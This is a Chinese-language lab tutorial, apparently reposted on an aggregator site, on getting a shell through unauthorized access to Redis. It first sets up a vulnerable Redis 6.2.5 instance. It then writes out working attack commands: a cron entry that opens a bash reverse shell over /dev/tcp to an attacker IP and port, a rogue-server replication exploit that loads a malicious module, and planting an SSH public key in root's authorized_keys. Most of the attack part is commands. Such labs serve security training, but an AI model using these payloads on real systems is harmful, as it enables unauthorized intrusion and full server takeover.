当前位置: 首页 > news >正文

redis未授权getshell四种方式

一.靶场搭建

1.1redis高版本会有一些限制(需要特殊的配置,较为麻烦),所以我们这里利用的是较低版本的redis。

命令如下,下载,解压,进入redis-6.2.5,解析
  • wget https://download.redis.io/releases/redis-6.2.5.tar.gz

  • tar xzf redis-6.2.5.tar.gz

  • cd redis-6.2.5

  • make

出现以下信息即为解析成功

1.2搭建 redis 未授权访问漏洞靶场

1.2.1redis 启动命令:

cd src
./redis-server

出现以下错误,说明我们的6379端口被占用,发现docker映射中占用着6379端口,终止,重新启动redis

成功启动,如这个图所示

1.2.2 修改配置文件

我们需要修改相关配置文件,文件位置为“/root/redis-6.2.5/redis.conf”。去掉ip绑定,允许除本地外的主机远程登录redis服务,关闭保护模式,允许远程连接redis服务。

cd /root/redis-6.2.5

修改前,在红框处进行修改。

修改后

1.2.3重启redis服务,并指定相关的conf文件,这样我们修改的东西才会生效。

./redis-server /root/redis-6.2.5/redis.conf

二.靶场攻击

2.1未授权访问

2.1.1

前提条件

低版本或者enable-protected-config yes

知道网站绝对路径,并且需要增删改查权限

获取网站路径方式:1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏

root启动redis

redis弱密码或者无密码

2.2计划任务,命令如下

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击机的ip/端口 0>&1\n\n"

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.182.130/66 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

写入成功,这儿我写错了,应该写攻击机的ip与端口,开启监听之后,等待反弹就行了

到靶机上查看,计划任务写入成功,我们试试编辑root,将里面的ip与端口改成我们的ip试试看,不行。

攻击机开启nc监听,等待反弹shell,其他人的成功效果

2.3主从复制

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

使用相关脚本(项目地址为GitHub - n0b0dyCN/RedisModules-ExecuteCommand: Tools, utilities and scripts to help you write redis modules!)

python3 redis-rogue-server.py --rhost=<target ip> --lhost=<vps ip> --exp=exp.so

接下来vps开启监听,最终成功获取反弹shell

2.4写入公钥

首先,我们需要获取攻击机的公钥(id_rsa.pub),保存为txt文件,并检查相关公钥,显示无异常

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > rsakey.txt
cat rsakey.txt

写入本地公钥至目标靶机

redis-cli -h 49.232.30.123 #连接靶标
config set dir /root/.ssh/  #设置目录
config set dbfilename authorized_keys  #设置文件名
config get dir #检查设置的目录
config get dbfilename #检查设置的文件名
set xz "\n\n\n 你的id_rsa.pub \n\n\n" #写入公钥
save #保存

直接进行ssh连接,登陆成功

ssh  -i  /root/.ssh/id_rsa  root@ip地址

http://www.xdnf.cn/news/1205965.html

相关文章:

  • Leetcode——11. 盛最多水的容器
  • 利用DataStream和TrafficPeak实现大数据可观察性
  • 【Git】Linux-ubuntu 22.04 初步认识 -> 安装 -> 基础操作
  • Prompt工程记录
  • MCU+RTOS调试
  • STM32启动流程
  • opencv 模块裁剪 按需安装指定模块
  • MCU 中的 PWM(脉冲宽度调制)是什么?
  • 未授权访问复现
  • Python动态规划:从基础到高阶优化的全面指南
  • 未授权访问漏洞靶场(redis,MongoDB,Memcached...)
  • Unity_UI_NGUI_锚点组件
  • 项目如何按时交付?重点关注的几点
  • 【Linux操作系统】简学深悟启示录:Linux环境基础开发工具使用
  • GoLand 项目从 0 到 1:第三天 —— 图数据库版本管理方案调研与中间件部署
  • Dify-14: 工作流API端点
  • 在虚拟机ubuntu上修改framebuffer桌面不能显示图像
  • STM32F4—电源管理器
  • YOLOv11改进:添加SCConv空间和通道重构卷积二次创新C3k2
  • 时间数字转换器TDC的FPGA方案及核心代码
  • 数分思维10:用户增长
  • 小智源码分析——音频部分(二)
  • 机器学习sklearn:决策树的参数、属性、接口
  • mp核心功能
  • S7-200 SMART 通过本体 RS485 口与 DP01 上传 / 下载程序(网口故障)
  • Java项目:基于SSM框架实现的进销存管理系统【ssm+B/S架构+源码+数据库+毕业论文+远程部署】
  • 我从 Web2 转型到 Web3 的 9 条经验总结
  • 架构实战——互联网架构模板(“存储层”技术)
  • fchown/fchownat系统调用及示例
  • 坚鹏:AI智能体培训是知行学成为AI智能体创新应用引领者的基础